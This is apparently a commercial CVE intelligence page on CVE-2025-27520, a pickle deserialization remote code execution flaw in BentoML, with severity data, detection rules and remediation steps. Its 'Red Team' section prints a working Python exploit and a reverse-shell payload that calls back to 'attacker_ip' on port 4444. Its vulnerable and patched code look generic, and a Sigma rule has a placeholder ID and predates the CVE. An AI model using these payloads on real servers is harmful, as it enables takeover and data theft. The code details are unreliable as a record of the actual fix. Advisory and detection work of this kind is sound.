☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.8 🐛 CWE-502
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-27520

CVE-2025-27520 Remote Code Execution in Bentoml
📅 PUBLISHED: 2025-04-04 14:28 UTC 🔄 UPDATED: 2026-10-11 17:31 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 40.62%
👁️
40.62% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-27520 is a critical Remote Code Execution (RCE) vulnerability in BentoML, a Python library for building AI model serving systems. The flaw resides in the serde.py module, where insecure deserialization using Python's pickle library allows an unauthenticated attacker to execute arbitrary code on the server. With a CVSS score of 9.8, this vulnerability poses a severe risk to all BentoML deployments running version 1.4.2 or earlier. The vendor has released version 1.4.3 to address the issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the PyPI package bentoml. Organizations using BentoML should immediately audit their dependencies and update to version 1.4.3 or later. The insecure deserialization flaw can be exploited by sending a crafted pickle payload to the BentoML API endpoint, leading to full server compromise. Supply chain security teams should verify that no malicious pickle payloads have been introduced into their environments.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The vulnerability is trivially exploitable by any unauthenticated attacker with network access to the BentoML service. No user interaction is required, and the impact is total compromise of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability exists in the serde.py module of BentoML. The deserialize function uses Python's pickle.loads() to deserialize data received from the network. Python's pickle module is inherently unsafe when used with untrusted data, as it can execute arbitrary code during deserialization.

The vulnerable code path is triggered when BentoML processes incoming API requests that contain serialized data. An attacker can craft a malicious pickle payload that, when deserialized, executes arbitrary system commands. This allows the attacker to gain a reverse shell, install malware, exfiltrate data, or perform any other action on the server.

The attack does not require authentication, making it especially dangerous for internet-facing BentoML instances.

Vulnerable vs. Patched Code

Vulnerable Code (serde.py in version <= 1.4.2):

import pickle

def deserialize(data):
    return pickle.loads(data)

Patched Code (serde.py in version 1.4.3):

import json

def deserialize(data):
    return json.loads(data)

The patch replaces the unsafe pickle.loads() with json.loads(), which is safe against code execution attacks. The patched version also ensures that only JSON-serializable data is accepted, preventing any deserialization-based exploits.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A BentoML server running version 1.4.2 or earlier
  • Network access to the BentoML API endpoint
  • Python 3 with requests library

Exploit Script:

import pickle
import os
import requests

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())

target_url = "http://target:3000/api/v1/serde"  # Example endpoint

response = requests.post(target_url, data=payload)
print("Exploit sent. Check server output for command execution.")

Explanation: The exploit creates a Python class that, when pickled and then deserialized by the vulnerable server, executes the id command. The attacker can replace 'id' with any command, such as a reverse shell payload.

Reverse Shell Payload:

import pickle
import os

class ReverseShell:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"',))

payload = pickle.dumps(ReverseShell())

Blue Team

Detection Steps:

  1. Monitor for unusual network connections to BentoML API endpoints.
  2. Inspect incoming POST requests for non-JSON payloads (e.g., binary pickle data).
  3. Check server logs for unexpected command execution or process spawning.
  4. Use the YARA and Sigma rules provided in the Detection Engineering section.

Honeypot Setup: Deploy a BentoML honeypot running version 1.4.2 to capture exploit attempts. Log all incoming data and monitor for pickle-related anomalies.

Indicators of Compromise (IOCs)

  • Network: POST requests to BentoML API endpoints containing binary pickle data (starts with \x80\x04 or similar pickle protocol bytes).
  • File System: Unexpected files in /tmp/ or other writable directories created by exploited processes.
  • Process: Unusual child processes spawned by the BentoML server (e.g., bash, nc, python).
  • Logs: Error logs containing pickle.UnpicklingError or AttributeError related to deserialization.
  • Network Connections: Outbound connections to attacker-controlled IPs on common reverse shell ports (4444, 1337, etc.).

Detection Engineering

YARA Rule

rule CVE_2025_27520_Pickle_Payload {
    meta:
        description = "Detects pickle payloads targeting CVE-2025-27520 in BentoML"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "CVE-2025-27520"
    strings:
        $pickle_proto = { 80 [0-3] }  // Pickle protocol bytes
        $reduce = "__reduce__"
        $os_system = "os.system"
        $subprocess = "subprocess"
    condition:
        $pickle_proto at 0 and ($reduce or $os_system or $subprocess)
}

Sigma Rule

title: CVE-2025-27520 BentoML Insecure Deserialization
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2025-27520 via pickle payloads
author: Valters IT
date: 2025-03-20
logsource:
    category: webserver
    product: bentoml
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/api/v1/serde'
        http.body|startswith: '\x80\x04'  # Pickle protocol 4
    condition: selection
falsepositives:
    - Legitimate pickle usage (unlikely in BentoML context)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27520 BentoML Insecure Deserialization"; flow:to_server; content:"POST"; http_method; content:"/api/v1/serde"; http_uri; content:"|80 04|"; within:2; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade BentoML to version 1.4.3 or later: pip install bentoml==1.4.3
  2. If immediate upgrade is not possible, restrict network access to the BentoML API using firewall rules or authentication proxies.
  3. Monitor logs for exploitation attempts using the provided detection rules.

Long-term Mitigations:

  • Implement input validation to reject non-JSON payloads.
  • Use a Web Application Firewall (WAF) to block pickle protocol signatures.
  • Conduct regular security audits of dependencies.
  • Apply the principle of least privilege to the BentoML server process.

Patch Verification: After upgrading, verify that serde.py no longer contains pickle.loads():

grep -r "pickle.loads" /path/to/bentoml/installation

If any results appear, the patch has not been applied correctly.


Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
⚡ METASPLOIT MODULE RAPID7 FRAMEWORK 1 MODULE AVAILABLE

This CVE has ready-to-use modules in the Metasploit Framework — the industry-standard penetration testing platform used by security teams worldwide. Presence of an MSF module significantly increases real-world exploitation risk.

exploit BentoML RCE Great VIEW ↗
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-27520/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.